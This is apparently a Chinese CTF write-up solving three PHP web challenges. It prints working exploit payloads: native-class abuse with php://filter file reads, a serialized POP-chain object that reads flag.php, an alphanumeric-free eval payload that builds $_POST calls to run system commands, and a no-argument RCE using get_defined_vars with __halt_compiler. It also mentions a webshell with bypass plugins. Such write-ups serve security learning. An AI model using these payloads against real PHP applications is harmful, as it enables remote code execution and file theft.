前言
六道web四道零解,还有一道到比赛最后才有一个人做出来,真的属实有点难绷,正好我把那些附件都保存了,现在来做做。
Primitive php(19解)
题目源码:
<?php
highlight_file(_FILE__);
//hint.php
foreach($_GET as $value){
if(preg_match("/flag/" , $value)){
die("不可以看flag啦,阿sir") ;
}
}
$a = new $_GET['class1']($_GET['a']);$b = new $_GET['class2']($_GET['b']);
if($a !==$b and md5($a)===md5($b)){
echo new $_GET['class3']($_GET['c’]);
}
刚看的时候有点懵,这怎么啥类都没有就直接开new了,没搞懂这题啥意思,然后去做misc了,后面回来看的时候看标题想到这不就考的是php的原生类,然后就做出来了。
它当时提示看hint.php,但hint里啥也没有,所以关注主页的源码,其实就是个简单的过滤,限制不能出现flag,让我们不能直接读取flag.php。然后$a和$b不一样md5却一样,可以想到原生类里的Error扔报错,然后进入if之后用SplFileObject读文件即可:
?class1=Error&a="payload",1&class2=Error&b="payload",1&class3=SplFileObject&c=php
://filter/convert.base64-encode/resource=hint.php
因为我没找到啥直接读取flag.php或者命令执行的方法,所以读取了那个hint.php的源码,发现是一个pop:
<?php
echo "no hint";
class blue
{
public $b1;
public $b2;
function eval() {
echo new $this->b1($this->b2);
}
public function __invoke()
{
$this->b1->blue();
}
}
class red
{
public $r1;
public function __destruct()
{
echo $this->r1 . '0xff0000';
}
public function execute()
{
($this->r1)();
}
public function __call($a, $b)
{
echo $this->r1->getFlag();
}
}
class white
{
public $w;
public function __toString()
{
$this->w->execute();
return 'hello';
}
}
class color
{
public $c1;
public function execute()
{
($this->c1)();
}
public function getFlag()
{
echo file_get_contents($this->c1);
}
}
unserialize($_POST['cmd']);
?>
可以参考我之前写的pop一命通关,写出那个读取文件的pop链应该是不难的,因为没被使用的方法很多,个人认为直接命令执行应该也是能写出来的,我这里就不写那个复杂的方法了。
red::__destruct()
↓↓↓
white::__toString()
↓↓↓
color::execute()
↓↓↓
blue::__invoke()
↓↓↓
red::__call($a, $b)
↓↓↓
color::getFlag()
<?php
class blue
{
public $b1;
public $b2;
public function __invoke()
{
}
}
class red
{
public $r1;
public function __destruct()
{
}
public function __call($a, $b)
{
}
}
class white
{
public $w;
public function __toString()
{
}
}
class color
{
public $c1;
}
$bl=new blue;
$re=new red();
$wh=new white();
$co=new color();
$co2 = new color();
$re2 = new red();
$re3 = new red();
$re->r1=$wh;
$wh->w=$co;
$co->c1=$bl;
$bl->b1 = $re3;
$co2->c1="./flag.php";#./是绝对路径的意思,这里的赋值就是确定file_get_contents读取的文件
$re3->r1=$co2;
echo serialize($re);
#O:3:"red":1:{s:2:"r1";O:5:"white":1:{s:1:"w";O:5:"color":1:{s:2:"c1";O:4:"blue":2:{s:2:"b1";O:3:"red":1:{s:2:"r1";O:5:"color":1:{s:2:"c1";s:10:"./flag.php";}}s:2:"b2";N;}}}}
easycode(1解)
<?php
error_reporting(0) ;
highlight_file(_FILE__);
function count_string_char($str) {
$arr =[];
foreach(str_split($str) as $value){
if(!in_array($value, $arr)){
array_push($arr,$value) ;
}
}
return sizeof ($arr) ;
}
if(isset($_POST[’cmd']) && is_string($_POST[’cmd'])){
$cmd= $_POST['cmd'];
$c=count_string_char($cmd) ;
if($c >13){
die("$ctoo long");
}
if( preg_match('/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i',$cmd) ) {
die("nonono") ;
}
eval ("print ($cmd);");
}else{
exit() ;
}
简单分析一下,过滤了字母数字?[]*@^~|<>&和空格,而这个count_string_char的作用是判断payload里有多少个不同的字符,比如system就是5,而dog_就是4,我们先来构造一下payload:
$__=++$____; #$__=1
--$__; #0
$____=((_/_).''){$__}; #(_/_).''=NAN,然后用{$__}取了它的第一位,也就是N,所以$____=N
$_____=++$____; #O
++$____; #P
$______=$____; #$______=P
++$____; #Q
++$____; #R
++$____; #S
$_______=$____; #$_______=S
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________{_}($$_________{__};); #$_POST{_}($_POST{__};)
这只是最基本的版本,只要再稍微处理一下我们就可以传值执行命令了。我觉得这个构造最大的难点就是要知道可以用{}代替[],而我在看了平师傅的payload之前是不知道的,然后就是用$__=++$____;
这种形式构造出数字1出来,接下来的操作就是经典的无字母数字RCE的构造了。
然后要注意一下,题目的源码的位置是:
eval("print ($cmd);");
所以我们要用_);拼接一些前面的部分,然后再把后面那个”)利用上,最后我们的payload为:
_);$__=++$____;–$__;$____=((_/_).”){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________=’_’.$_________;$$_________{_}($$_________{__}
在实际环境中也就是:
eval(“print (_);$_=++$____;–$__;$____=((_/_).”){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________=’_’.$________;$$_________{_}($$________{__});”);#eval(“print (_);$_POST{_}($_POST{__});”)
注意把它url编码一下,最后可以直接POST执行命令的payload为:
cmd=_)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24_____%3D%2B%2B%24____%3B%2B%2B%24____%3B%24______%3D%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%7B_%7D(%24%24_________%7B__%7D&_=system&__=dir
ez_php(0解)
<?php
error_reporting(0);
if(isset($_GET['hillstone'])){
$hillstone = $_GET['hillstone'];
$code = preg_replace('/[A-Za-z_]+\(+|\)/','',$hillstone);
if('hillstone' === preg_replace('/;+/','hillstone',$code)){
eval($hillstone.'hillstone!');
}else{
echo '???';
}
}
highlight_file(__FILE__);
?>
pregreplace(‘/[A-Za-z_]+(+|)/’,”,$hillstone)的作用其实就是让我们只能无参数rce,但问题在于我们的语句后面跟了一个’hillstone!’,它以感叹号结尾让我们的php语句根本没法执行,最后胡杨去翻php的官方文档,翻了好久,发现 __halt_compiler()能把eval里的hillstone终止渲染,这样就能让我们正常执行前面的语句。然后问题又来到了如何通过无参数的函数执行命令,通过参考大佬的教程,找到了用eval(end(current(get_defined_vars())))加传参的方式执行命令,最后payload为:
?hillstone=eval(end(current(get_defined_vars())));__halt_compiler();&m=system("dir");
本地可以打通:
但当时比赛的环境有非常庞大的disable_function,这样通不了。后面想的是写马连蚁剑用它那里面的bypass插件绕,但赛后趁着环境还在线的时候试了一下,没连上去,可能这种做法还是有点小问题。